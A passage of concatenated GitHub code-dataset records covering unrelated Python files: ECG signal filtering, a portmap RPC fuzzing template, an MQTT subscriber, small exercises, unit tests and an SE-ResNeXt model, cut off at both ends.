app.create_secure_context = _old_create_secure_context\n\n @pytest.mark.parametrize(\n \"expected_result\", [Result.Ok({\"foo\": \"bar\"}), Result.Err({\"bar\": \"qux\"})]\n )\n def test_get(self, expected_result):\n request = MagicMock(Request)\n request.method = \"GET\"\n\n mock_gql_controller.introspect = MagicMock(return_value=expected_result)\n result = app.execute_gql(request)\n\n if result.is_err:\n assert result.unwrap_err() == HttpError(400, expected_result.unwrap_err())\n else:\n assert result.unwrap()[\"data\"] == expected_result.unwrap()\n mock_gql_controller.introspect.assert_called_once_with()\n","repo_name":"office-hour-scheduler/ohs","sub_path":"backend/core/tests/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":3496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"5390749625","text":"# Modulos importantantes\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.io as sio\nimport scipy.interpolate as interpol\n\n\n#%%\n#------Apertura de la Señal-------\nmat_struct = sio.loadmat('/home/luciasucunza/git_proyecto_ecg/Filtros/TP4_ecg.mat')\n\necg_one_lead = mat_struct['ecg_lead']\necg_one_lead = ecg_one_lead.flatten()\nqrs_detections = mat_struct['qrs_detections']\ncant_muestras = len(ecg_one_lead)\n\nfs = 1000 \nnyq_frec = fs / 2\nt = np.arange(cant_muestras) / fs\n\n\n#%%\n#------Separación en Ventanas-------\nventana_inf_ms = 300\nventana_sup_ms = 100\n\nventana_inf = int(ventana_inf_ms / 1000 * fs)\nventana_sup = int(ventana_sup_ms / 1000 * fs)\nventana_len = ventana_inf + ventana_sup \n\nmat = np.zeros(( ventana_len, len(qrs_detections)), dtype=int)\n\nfor j in range( len(qrs_detections) ):\n \n for i in range(ventana_len): \n mat[i,j] = ecg_one_lead[ int(qrs_detections[j]) + i - ventana_inf ]\n \n \n#%%\n#------Ploteo de Todos las ventanas-------\nplt.figure('Todas las ventanas')\n\nplt.plot( mat )\n\nplt.title('ECG filtrado')\nplt.ylabel('Adimensional')\nplt.xlabel('Tiempo (s)')\nplt.legend() \n\nplt.grid()\nplt.show()\n\n\n#%%\n#------Calculo de la mediana y de diferentes medias para cada ventana-------\nmat_plantilla = np.zeros_like( mat )\n\n\nmedian = np.median(mat, axis=0)\nmat_median = median + mat_plantilla \n\n\nmean = np.mean(mat, axis=0)\nmat_mean = mean + mat_plantilla \n\n\nmean_vent = np.mean(mat[ 100:200 , :], axis=0)\nmat_mean_vent = mean_vent + mat_plantilla \n\n\nmean_vent2 = np.mean(mat[ 50:250 , :], axis=0)\nmat_mean_vent2 = mean_vent2 + mat_plantilla \n\n\n#%%\n#------Resta de cada ventana de la señal ECG con los diferentes parámetros -------\necg_median = mat - mat_median\necg_mean = mat - mat_mean\necg_mean_vent = mat - mat_mean_vent\necg_mean_vent2 = mat - mat_mean_vent2\n\n\n#%%\n#------Ploteo de cada ventana de la señal ECG con los diferentes parámetros -------\n\nplt.figure('Ventanas con su correspondiente parametro restado')\n\nplt.subplot(311)\nplt.plot( ecg_median )\nplt.title('ECG Mediana')\nplt.grid()\nplt.axis([-10, 410, -12000, 32000])\n\nplt.subplot(312)\nplt.plot( ecg_mean )\nplt.title('ECG Media')\nplt.grid()\nplt.axis([-10, 410, -12000, 32000])\n\nplt.subplot(313)\nplt.plot( ecg_mean_vent )\nplt.title('ECG Media con Ventana')\nplt.grid()\nplt.axis([-10, 410, -12000, 32000])\n\nplt.show()\n\n\n#%%\n#------ Interpolacion -------\nn_new = np.arange( cant_muestras )\n\nni = np.zeros( len(qrs_detections)+2)\nni[0] = 0\nni[1:1904] = ( qrs_detections[:,0] - int((ventana_inf_ms)/2) )\nni[1904] = cant_muestras\n\nmedian_aux = np.zeros( len(qrs_detections)+2)\nmedian_aux[0] = median[0] \nmedian_aux[1:1904] = median\nmedian_aux[1904] = median[1902]\n\nmean_aux = np.zeros( len(qrs_detections)+2)\nmean_aux[0] = mean[0] \nmean_aux[1:1904] = mean\nmean_aux[1904] = mean[1902]\n\nmean_vent_aux = np.zeros( len(qrs_detections)+2)\nmean_vent_aux[0] = mean_vent[0] \nmean_vent_aux[1:1904] = mean_vent\nmean_vent_aux[1904] = mean_vent[1902]\n\nmean_vent2_aux = np.zeros( len(qrs_detections)+2)\nmean_vent2_aux[0] = mean_vent2[0] \nmean_vent2_aux[1:1904] = mean_vent2\nmean_vent2_aux[1904] = mean_vent2[1902]\n\n\nf= interpol.interp1d( ni, median_aux, kind='cubic')\ny_median = f(n_new)\n\nf= interpol.interp1d( ni, mean_aux, kind='cubic')\ny_mean = f(n_new)\n\nf= interpol.interp1d( ni, mean_vent_aux, kind='cubic')\ny_mean_vent = f(n_new)\n\nf= interpol.interp1d( ni, mean_vent2_aux, kind='cubic')\ny_mean_vent2 = f(n_new)\n\n\n#%%\n#------ Ploteo Interpolacion -------\nplt.figure('Interpolacion de los parametros de cada ventana')\nplt.subplot(221)\nplt.title('Mediana')\nplt.plot( ni, median_aux, 'bo', n_new, y_median, 'g' )\nplt.subplot(222)\nplt.title('Media')\nplt.plot( ni, mean_aux, 'bo', n_new, y_mean, 'g' )\nplt.subplot(223)\nplt.title('Mediana con ventana 100/200')\nplt.plot( ni, mean_vent_aux, 'bo', n_new, y_mean_vent, 'g' )\nplt.subplot(224)\nplt.title('Mediana con ventana 050/250')\nplt.plot( ni, mean_vent2_aux, 'bo', n_new, y_mean_vent2, 'g' )\nplt.show()\n\n\n#%%\n#------ ObtenciÃon de ECG sin BL -------\necg_median = ecg_one_lead - y_median\necg_mean = ecg_one_lead - y_mean\necg_mean_vent = ecg_one_lead - y_mean_vent\necg_mean_vent2 = ecg_one_lead - y_mean_vent2\n\nzoom_region = np.arange( 0, 100000, dtype='uint')\n\n\n#%%\n#------ Ploteo de ECG sin BL -------\nplt.figure('Señales Obtenidas')\n\nplt.plot( ecg_one_lead[zoom_region], label='ECG' )\nplt.plot( ecg_median[zoom_region], label='ECG Mediana' )\nplt.plot( ecg_mean[zoom_region], label='ECG Media' )\nplt.plot( ecg_mean_vent[zoom_region], label='ECG Media de 100 a 200' )\nplt.plot( ecg_mean_vent2[zoom_region], label='ECG Media de 050 a 250' )\n\nplt.grid()\nplt.axis([-10, 100010, -12000, 32000])\nplt.legend()\nplt.show()\n\n\n#%%\n#------ Calculo de la FFT de BL-------\nresf = fs/len(y_median) \nrangof = np.arange( 0, fs , resf) \n\nY_med = np.fft.fft( y_median ) \n\nrangof = rangof[range(cant_muestras//2)] \nY_med = Y_med[range(cant_muestras//2)] \n \n\n#%%\n#------ Ploteo de la FFT de BL-------\nplt.figure(1)\n\nplt.subplot(211)\nplt.plot( t, y_median )\nplt.title( 'EstimacionLB' )\nplt.grid( True )\nplt.xlim( -1, 1600 )\n\nplt.subplot(212)\nplt.plot( rangof, abs(Y_med)/(cant_muestras//2) , 'g' )\nplt.title( 'Espectro Normalizado' )\nplt.grid(True)\nplt.xlim( -0.2, 70 )\n\nplt.show() \n","repo_name":"luciasucunza/git_proyecto_ecg","sub_path":"Filtros/Filtro_EstimSust.py","file_name":"Filtro_EstimSust.py","file_ext":"py","file_size_in_byte":5669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"74650778608","text":"def separation(lst):\n dic = {}\n for elem in lst:\n if elem:\n if '*x^' in elem:\n par = elem.partition('*x^')\n dic[int(par[2])] = int(par[0])\n elif '*x' in elem:\n par = elem.partition('*x')\n dic[1] = int(par[0])\n elif '-x' in elem:\n dic[1] = -1\n elif '+x' in elem:\n dic[1] = 1\n else:\n par = elem.partition(' ')\n dic[0] = int(par[0])\n return dic\n\nwith open('file5_1.txt', 'r') as file1:\n equation1 = file1.read()\n\nwith open('file5_2.txt', 'r') as file2:\n equation2 = file2.read()\n\nst1 = equation1.replace(' ', '')\nst1 = st1.replace('-','+-')\nst1 = st1[:-2]\nst1 = st1.split('+')\n\nst2 = equation2.replace(' ', '')\nst2 = st2.replace('-', '+-')\nst2 = st2[:-2]\nst2 = st2.split('+')\n\ndic1 = separation(st1)\ndic2 = separation(st2)\nprint(dic1)\nprint(dic2)\n\nfor i in dic1.keys():\n if i in dic2.keys():\n dic1[i] += dic2[i]\n\nfor i in dic2.keys():\n if i not in dic1.keys():\n dic1[i] = dic2[i]\n\nprint(dic1)\ndic1_sorted = dict(sorted(dic1.items(), reverse=True))\nprint(dic1_sorted)\nresult = ''\nfor i in dic1_sorted.keys():\n if i == 1:\n result += (f'{dic1_sorted[i]}*x')\n elif i == 0:\n result += (f'{dic1_sorted[i]}')\n else:\n result += (f'+{dic1_sorted[i]}*x^{i} ')\nresult = result.replace('+-', '-')\nresult += ' = 0'\nprint(result)\n\nwith open('file5_3.txt', 'w') as file3:\n file3.write(result)\n","repo_name":"Evgeni138/pyHW4","sub_path":"task5.py","file_name":"task5.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"34437210828","text":"#! /usr/bin/env python\n# coding: utf-8\n#\n# Author: Yannick Formaggio\nfrom kitty.model import *\n\nrpc_header = Container(\n name=\"RPC_HEADER\",\n fields=[\n Dword(1, name=\"xid\"),\n Dword(0, name=\"message_type\"),\n Dword(2, name=\"rpc_version\"),\n Dword(100000, name=\"programme\"),\n Dword(2, name=\"program_version\"),\n Dword(0, name=\"procedure_number\"),\n Dword(0, name=\"credential_flavor\"),\n Dword(0, name=\"credential_length\"),\n Dword(0, name=\"verifier_flavor\"),\n Dword(0, name=\"verifier_length\"),\n ]\n)\n\nportmap_proc_null = Template(\n name=\"PMAPPROC_NULL\",\n fields=[\n SizeInBytes(sized_field=rpc_header, length=32, name=\"fragment_header\"),\n Container(\n name=\"Packet\",\n fields=[\n rpc_header\n ]\n ),\n ]\n)\n","repo_name":"thelumberjhack/VxFuzz","sub_path":"tPortmapd/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"20"} +{"seq_id":"16520137823","text":"from bitstring import BitArray\n\nbitlist = []\n\nfor line in open(\"input.txt\"):\n if len(bitlist) == 0:\n for bit in line[:-1]:\n bitlist.append([0, 0])\n\n for index, bit in enumerate(line[:-1]):\n bitlist[index][int(bit)] += 1\n\ngammaStr = \"\"\nfor bitCounts in bitlist:\n if bitCounts[0] > bitCounts[1]:\n gammaStr += \"0\"\n else:\n gammaStr += \"1\"\n\ngamma = BitArray(bin=gammaStr).uint\nepsilon = BitArray(bin=gammaStr).uint ^ BitArray(bin=\"111111111111\").uint\nprint(gamma * epsilon)\n","repo_name":"nilsauf/AdventOfCode","sub_path":"2021/03/solution1.py","file_name":"solution1.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"42452991271","text":"#!/usr/bin/python\r\nimport paho.mqtt.client as mqtt\r\n\r\n# The callback for when the client receives a CONNACK response from the server.\r\ndef on_connect(client, userdata, flags, rc):\r\n client.subscribe(\"led\")\r\n # Subscribing in on_connect() means that if we lose the connection and\r\n # reconnect then subscriptions will be renewed.\r\n\r\n# The callback for when a PUBLISH message is received from the server.\r\ndef on_message(client, userdata, msg):\r\n mensaje_recibido = str(msg.payload)\r\n topico_recibido = str(msg.topic)\r\n if topico_recibido == 'led':\r\n if mensaje_recibido == 'LED_ON':\r\n f = open('led_on.txt', 'w')\r\n # Creo un archivo llamado led_on.txt\r\n # y desde arduino enciendo dicho led\r\n f.write('led_on')\r\n f.close()\r\n if mensaje_recibido == 'LED_OFF':\r\n f = open('led_off.txt', 'w')\r\n # Creo un archivo llamado led_off.txt\r\n # y desde arduino apago dicho led\r\n f.write('led_off')\r\n f.close()\r\n\r\nmensaje_recibido= ''\r\ntopico_recibido = ''\r\nclient = mqtt.Client()\r\nclient.on_connect = on_connect\r\nclient.on_message = on_message\r\n\r\nclient.connect(\"169.254.4.103\", 1883, 60)\r\n\r\n# Blocking call that processes network traffic, dispatches callbacks and\r\n# handles reconnecting.\r\n# Other loop*() functions are available that give a threaded interface and a\r\n# manual interface.\r\nclient.loop_forever()","repo_name":"4gustinMonti/mqtt-mosquitto","sub_path":"cliente_suscriptor.py","file_name":"cliente_suscriptor.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"38966654353","text":"# Set is a collection of non repetitive elements or data.\r\nn = int(input(\"Enter size of given set: \"))\r\ns = set()\r\nfor i in range(n):\r\n x = int(input(f\"set[{i}] = \"))\r\n s.add(x)\r\nprint(f\"Given set is: {s}\")\r\n\r\n# We can't add list or dictionary in set. But tuples are valid in set\r\ns1 = set()\r\ns1.add((1,2,3))\r\ns1.add([1,2,3,4]) # Invalid\r\ns1.add({4:3}) # Invalid\r\nprint(s1)","repo_name":"hvs1234/Python3","sub_path":"Python 3 Course/Dictionary And Sets/Set.py","file_name":"Set.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"72826845808","text":"import streamlit as st\nimport numpy as np\nfrom PIL import Image\nimport cv2\nimport ORB\n\nst.title(\"ORB Feature Detection\")\nst.write(\"Upload two images, and get similar key points in the images.\")\n\n\nfile_1 = st.file_uploader(label=\"Upload your first image\")\nfile_2 = st.file_uploader(label=\"upload your second image\")\n\nbutton = st.button(label=\"Get detections!\")\n\nif file_1 is not None and file_2 is not None and button:\n image = Image.open(file_1)\n img1_array = np.array(image)\n acquiredIMG1 = cv2.imwrite(\n \"img1.png\", img1_array)\n\n image2 = Image.open(file_2)\n img2_array = np.array(image2)\n acquiredIMG2 = cv2.imwrite(\n \"img2.png\", img2_array)\n\n finalArr = ORB.detectFeatures()\n st.write(\"\")\n st.image(finalArr)\n","repo_name":"thequickbrownfoxjumpedoverthelazydog/ORB-Detection-App","sub_path":"app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"12090522896","text":"import random\nlife = 10\nlength = 3\n\nanswer = random.randint(100, 999)\n\nanswer = str(answer)\n\nwhile life:\n is_guessed = False\n print(\"=\" * 10)\n\n print(\"Жизний:\", life)\n\n quess = input(\"Предложения:\")\n if len(quess) != 3 or not quess.isdigit():\n print(\"Число от 100 до 999, ПОЖВЛУЙСТА!\")\n continue","repo_name":"koptssov/python","sub_path":"viselica/жопа.py","file_name":"жопа.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"41826272385","text":"def read_number(i, packets):\n num_str = ''\n while True:\n start_bit = packets[i]\n i += 1\n num_str += ''.join(map(str, packets[i:i + 4]))\n if start_bit == 0:\n return bit_str_to_int(num_str), i + 4\n\n i += 4\n\n\ndef bit_str_to_int(p):\n return int(''.join(map(str, p)), 2)\n\n\ndef read_header(i, packets):\n header_version = bit_str_to_int(packets[i:i + 3])\n i += 3\n type_id = bit_str_to_int(packets[i:i + 3])\n i += 3\n return i, header_version, type_id\n\n\ndef read_packet(i, packets):\n global version_total\n i, header_version, type_id = read_header(i, packets)\n version_total += header_version\n print(f\"version: {header_version} type_id: {type_id}\")\n if type_id == 4:\n number, i = read_number(i, packets)\n\n else:\n length_id = packets[i]\n i += 1\n if length_id == 0:\n num_bits = bit_str_to_int(packets[i:i + 15])\n i += 15\n start_i = i\n while i < start_i + num_bits:\n i = read_packet(i, packets)\n elif length_id == 1:\n num_packets = bit_str_to_int(packets[i:i + 11])\n i += 11\n for s in range(num_packets):\n i = read_packet(i, packets)\n\n return i\n\n\nif __name__ == '__main__':\n with open('input') as f:\n l = f.readline().strip()\n packets = []\n for c in l:\n p = list(map(int, str(bin(int(c, 16)))[2:]))\n p = [0] * (4 - len(p)) + p\n packets += p\n\n print(packets)\n print(hex(int(''.join(map(str, packets)), 2)))\n i = 0\n\n version_total = 0\n read_packet(0, packets)\n\n print(version_total)\n","repo_name":"jmaloney1/advent_of_code","sub_path":"2021/16/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"13575367748","text":"import unittest\n\nfrom sequencezip import SequenceZip\n\n\nclass SequenceZipTests(unittest.TestCase):\n\n \"\"\"Tests for SequenceZip.\"\"\"\n\n def test_constructor(self):\n SequenceZip([1, 2, 3, 4])\n SequenceZip(range(5), [1, 2, 3, 4])\n SequenceZip(range(5), [1, 2, 3, 4], 'hello there')\n SequenceZip([1], [3], [4, 5], [7], [8, 9])\n\n def test_length(self):\n self.assertEqual(len(SequenceZip([1, 2, 3, 4])), 4)\n self.assertEqual(len(SequenceZip(range(5), [1, 2, 3, 4])), 4)\n self.assertEqual(len(SequenceZip(range(5), [1, 2, 4], 'hiya')), 3)\n\n def test_indexing(self):\n seq = SequenceZip(range(5), [1, 2, 4], 'hello there')\n self.assertEqual(seq[0], (0, 1, 'h'))\n self.assertEqual(seq[2], (2, 4, 'l'))\n self.assertEqual(seq[-1], seq[2])\n with self.assertRaises(IndexError):\n seq[3]\n\n def test_sequence_not_copied(self):\n x, y, z = [1, 2, 3], [4, 5, 6], [7, 8, 9]\n seq1 = SequenceZip(x, y, z)\n self.assertEqual(seq1[-1], (3, 6, 9))\n x[-1], z[-1] = z[-1], x[-1]\n self.assertEqual(seq1[-1], (9, 6, 3))\n many_large_sequences = [range(1000000) for _ in range(100)]\n seq2 = SequenceZip(*many_large_sequences)\n self.assertEqual(seq2[-1], (999999,) * 100)\n\n def test_iterable(self):\n seq = SequenceZip(range(5), [1, 2, 4], 'hello there')\n self.assertEqual(list(seq), [\n (0, 1, 'h'),\n (1, 2, 'e'),\n (2, 4, 'l'),\n ])\n\n # To test the Bonus part of this exercise, comment out the following line\n # @unittest.expectedFailure\n def test_nice_string_representation(self):\n seq = SequenceZip(range(5), [1, 3], 'hiya')\n self.assertEqual(\n repr(seq),\n \"SequenceZip(range(0, 5), [1, 3], 'hiya')\",\n )\n\n # To test the Bonus part of this exercise, comment out the following line\n # @unittest.expectedFailure\n def test_equality(self):\n seq1 = SequenceZip([1, 2, 3], [4, 5, 6], [7, 8, 9])\n seq2 = SequenceZip([1, 2, 3], [4, 5, 6], [7, 8, 9, 0])\n seq3 = SequenceZip([1, 2, 3], [4, 5, 4], [7, 8, 9, 0])\n self.assertEqual(seq1, seq2)\n self.assertNotEqual(seq1, seq3)\n self.assertNotEqual(seq1, list(seq2))\n from collections import UserList\n class SillySequence(UserList):\n def __getitem__(self, index):\n if not isinstance(index, slice):\n raise AssertionError(\"Equality check shouldn't iterate over elements\")\n return super().__getitem__(index)\n def __eq__(self, other):\n return self.data == other.data\n a = SillySequence([4, 5, 6, 7])\n b = SillySequence([4, 5, 6, 7])\n c = SillySequence([1, 2, 3, 4])\n self.assertEqual(SequenceZip(a, c, b), SequenceZip(b, c, a))\n self.assertNotEqual(SequenceZip(c, a, b), SequenceZip(b, c, a))\n\n # To test the Bonus part of this exercise, comment out the following line\n # @unittest.expectedFailure\n def test_slicing(self):\n seq = SequenceZip(range(5), [1, 2, 3, 4], 'hiya!')\n self.assertEqual(list(seq[0:2]), [\n (0, 1, 'h'),\n (1, 2, 'i'),\n ])\n self.assertEqual(list(seq[1:-1]), [\n (1, 2, 'i'),\n (2, 3, 'y'),\n ])\n self.assertEqual(list(seq[:-1]), [\n (0, 1, 'h'),\n (1, 2, 'i'),\n (2, 3, 'y'),\n ])\n self.assertEqual(list(seq[-3:]), [\n (1, 2, 'i'),\n (2, 3, 'y'),\n (3, 4, 'a'),\n ])\n self.assertEqual(list(seq[:2]), [\n (0, 1, 'h'),\n (1, 2, 'i'),\n ])\n self.assertEqual(list(seq[::-1]), [\n (3, 4, 'a'),\n (2, 3, 'y'),\n (1, 2, 'i'),\n (0, 1, 'h'),\n ])\n self.assertEqual(list(seq[::-2]), [\n (3, 4, 'a'),\n (1, 2, 'i'),\n ])\n self.assertEqual(type(seq[-2:]), SequenceZip)\n\n\nif __name__ == \"__main__\":\n unittest.main(verbosity=2)\n","repo_name":"dcragusa/PythonMorsels","sub_path":"30-39/31. sequencezip/test_sequencezip.py","file_name":"test_sequencezip.py","file_ext":"py","file_size_in_byte":4090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"24728914749","text":"import os, numpy\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator, array_to_img, img_to_array, load_img\n\ndef process_img(dir_path):\n \"\"\"[converts images into numpy array to load a dataset]\n\n Args:\n dir_path ([type]): [Path to image folder]\n\n Returns:\n [numpy.ndarray]: [list of images]\n \"\"\"\n img_list = []\n for images in os.listdir(dir_path):\n if '.png' in images:\n #load image\n img = load_img(os.path.join(dir_path,images))\n \n print(\"original\",type(img))\n\n #convert to numpy array\n img_array = img_to_array(img)\n\n print(\"typeee:\", type(img_array))\n\n print(\"type:\",img_array.dtype)\n print(\"shape:\",img_array.shape)\n img_list.append(img_array)\n img_list = numpy.asarray(img_list)\n \n return img_list\n\ndir_path = '/home/pasonatech/workspace/deepNN/aresearchBased_study/fabric/data/val'\nprocess_img(dir_path)\n","repo_name":"shreeramsigdel77/aresearchBased_study","sub_path":"fabric/pic_loader.py","file_name":"pic_loader.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31337550732","text":"import torch.optim as optim\nfrom torch.optim.lr_scheduler import StepLR\n\ndef train(model, num_epochs=50, lr=0.0003, print_every=100):\n \"\"\"Train a model on IWSLT\"\"\"\n \n if USE_CUDA:\n model.cuda()\n\n # optionally add label smoothing; see the Annotated Transformer\n criterion = nn.NLLLoss(reduction=\"sum\", ignore_index=PAD_INDEX)\n #criterion = LabelSmoothing(size=len(TRG.vocab), padding_idx=PAD_INDEX, smoothing=0.1)\n criterion.cuda()\n optim = torch.optim.Adam(model.parameters(), lr=lr)\n scheduler=StepLR(optim, step_size=2,gamma=0.1)\n \n dev_perplexities = []\n lr_list=[]\n\n for epoch in range(num_epochs):\n \n print(\"Epoch\", epoch)\n model.train()\n train_perplexity = run_epoch((rebatch(PAD_INDEX, b) for b in train_iter), \n model,\n SimpleLossCompute(model.generator, criterion, optim),\n print_every=print_every)\n \n model.eval()\n with torch.no_grad():\n print_examples((rebatch(PAD_INDEX, x) for x in valid_iter), \n model, n=3, src_vocab=SRC.vocab, trg_vocab=TRG.vocab) \n\n dev_perplexity = run_epoch((rebatch(PAD_INDEX, b) for b in valid_iter), \n model, \n SimpleLossCompute(model.generator, criterion, None))\n print(\"Validation perplexity: %f\" % dev_perplexity)\n dev_perplexities.append(dev_perplexity)\n lr_list.append(scheduler.get_lr())\n scheduler.step()\n\n return dev_perplexities, lr_list","repo_name":"vtien/abstractive_extractive_summary_evaluation","sub_path":"learning_rate.py","file_name":"learning_rate.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"36303718528","text":"\"\"\"\r\nGiven an array of n positive integers and a positive integer s, find the minimal length of a contiguous subarray of which the sum ≥ s. If there isn't one, return 0 instead.\r\n\r\nFor example, given the array [2,3,1,2,4,3] and s = 7,\r\nthe subarray [4,3] has the minimal length under the problem constraint.\r\n\"\"\"\r\n\r\nclass Solution(object):\r\n def minSubArrayLen(self, s, nums):\r\n head = 0\r\n tail = -1\r\n cur_sum = 0\r\n data_len = len(nums)\r\n min_len = data_len + 1\r\n while head < data_len:\r\n if tail+1 < data_len and cur_sum < s:\r\n tail += 1\r\n cur_sum += nums[tail]\r\n else:\r\n cur_sum -= nums[head]\r\n head += 1\r\n if cur_sum >= s:\r\n min_len = min(min_len, tail - head + 1)\r\n\r\n if min_len == data_len + 1:\r\n return 0\r\n return min_len\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"jingyiZhang123/leetcode_practice","sub_path":"moving_window/minimum_size_subarray_sum_209.py","file_name":"minimum_size_subarray_sum_209.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"27090780481","text":"import json\r\n\r\nINPUT_FILE = 'geojson.json'\r\nOUTPUT_FILE = 'stores.json'\r\n\r\nif __name__ == '__main__':\r\n with open(INPUT_FILE, 'r', encoding='utf-8') as file:\r\n data = json.load(file)\r\n\r\n stores = []\r\n for i, feature in enumerate(data['features']):\r\n store = {\r\n 'id': i,\r\n 'name': feature['properties']['name']\r\n if 'name' in feature['properties']\r\n else 'No Name',\r\n 'type': feature['properties']['shop'],\r\n 'latitude': feature['geometry']['coordinates'][1],\r\n 'longitude': feature['geometry']['coordinates'][0],\r\n }\r\n stores.append(store)\r\n\r\n with open(OUTPUT_FILE, 'w', encoding='utf-8') as file:\r\n json.dump(stores, file, indent=2, ensure_ascii=False)\r\n","repo_name":"Takaros96/Project-web","sub_path":"price-tracker/data/stores/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"2773602799","text":"'''\nNew for ResNeXt:\n1. Wider bottleneck\n2. Add group for conv2\n'''\n\nimport torch\nimport torch.nn as nn\nimport math\n\n__all__ = ['SE_ResNeXt', 'se_resnext_50', 'se_resnext_101', 'se_resnext_152']\n\nimport logging\nfrom .build import BACKBONE_REGISTRY\nfrom rmclas.utils.checkpoint import get_missing_parameters_message, get_unexpected_parameters_message\n\n\nlogger = logging.getLogger(__name__)\n\nclass Bottleneck(nn.Module):\n expansion = 2\n\n def __init__(self, inplanes, planes, stride=1, downsample=None, num_group=32):\n super(Bottleneck, self).__init__()\n self.conv1 = nn.Conv2d(inplanes, planes*2, kernel_size=1, bias=False)\n self.bn1 = nn.BatchNorm2d(planes*2)\n self.conv2 = nn.Conv2d(planes*2, planes*2, kernel_size=3, stride=stride,\n padding=1, bias=False, groups=num_group)\n self.bn2 = nn.BatchNorm2d(planes*2)\n self.conv3 = nn.Conv2d(planes*2, planes * 4, kernel_size=1, bias=False)\n self.bn3 = nn.BatchNorm2d(planes * 4)\n self.relu = nn.ReLU(inplace=True)\n self.downsample = downsample\n self.stride = stride\n self.planes = planes\n\n if planes == 64:\n self.globalAvgPool = nn.AvgPool2d(28, stride=1)\n elif planes == 128:\n self.globalAvgPool = nn.AvgPool2d(28, stride=1)\n elif planes == 256:\n self.globalAvgPool = nn.AvgPool2d(14, stride=1)\n elif planes == 512:\n self.globalAvgPool = nn.AvgPool2d(7, stride=1)\n self.fc1 = nn.Linear(in_features=planes * 4, out_features=round(planes / 4))\n self.fc2 = nn.Linear(in_features=round(planes / 4), out_features=planes * 4)\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n original_out = out\n print(self.planes)\n print(out.size())\n out = self.globalAvgPool(out)\n out = out.view(out.size(0), -1)\n print(out.size())\n out = self.fc1(out)\n out = self.relu(out)\n out = self.fc2(out)\n out = self.sigmoid(out)\n out = out.view(out.size(0), out.size(1), 1, 1)\n out = out * original_out\n\n print(out.size())\n print(residual.size())\n out += residual\n out = self.relu(out)\n\n return out\n\n\nclass SE_ResNeXt(nn.Module):\n\n def __init__(self, block, layers, num_classes=1000, num_group=32):\n self.inplanes = 64\n super(SE_ResNeXt, self).__init__()\n self.conv1 = nn.Conv2d(3, 64, kernel_size=7, stride=2, padding=3,\n bias=False)\n self.bn1 = nn.BatchNorm2d(64)\n self.relu = nn.ReLU(inplace=True)\n self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n self.layer1 = self._make_layer(block, 64, layers[0], num_group)\n self.layer2 = self._make_layer(block, 128, layers[1], num_group, stride=2)\n self.layer3 = self._make_layer(block, 256, layers[2], num_group, stride=2)\n self.layer4 = self._make_layer(block, 512, layers[3], num_group, stride=2)\n self.avgpool = nn.AvgPool2d(7, stride=1)\n self.fc = nn.Linear(512 * block.expansion, num_classes)\n\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\n def _make_layer(self, block, planes, blocks, num_group, stride=1):\n downsample = None\n if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n nn.Conv2d(self.inplanes, planes * block.expansion,\n kernel_size=1, stride=stride, bias=False),\n nn.BatchNorm2d(planes * block.expansion),\n )\n\n layers = []\n layers.append(block(self.inplanes, planes, stride, downsample, num_group=num_group))\n self.inplanes = planes * block.expansion\n for i in range(1, blocks):\n layers.append(block(self.inplanes, planes, num_group=num_group))\n\n return nn.Sequential(*layers)\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.bn1(x)\n x = self.relu(x)\n x = self.maxpool(x)\n\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n\n x = self.avgpool(x)\n #x = x.view(x.size(0), -1)\n #x = self.fc(x)\n\n return x\n\ndef se_resnext_50(**kwargs):\n \"\"\"Constructs a ResNeXt-50 model.\n 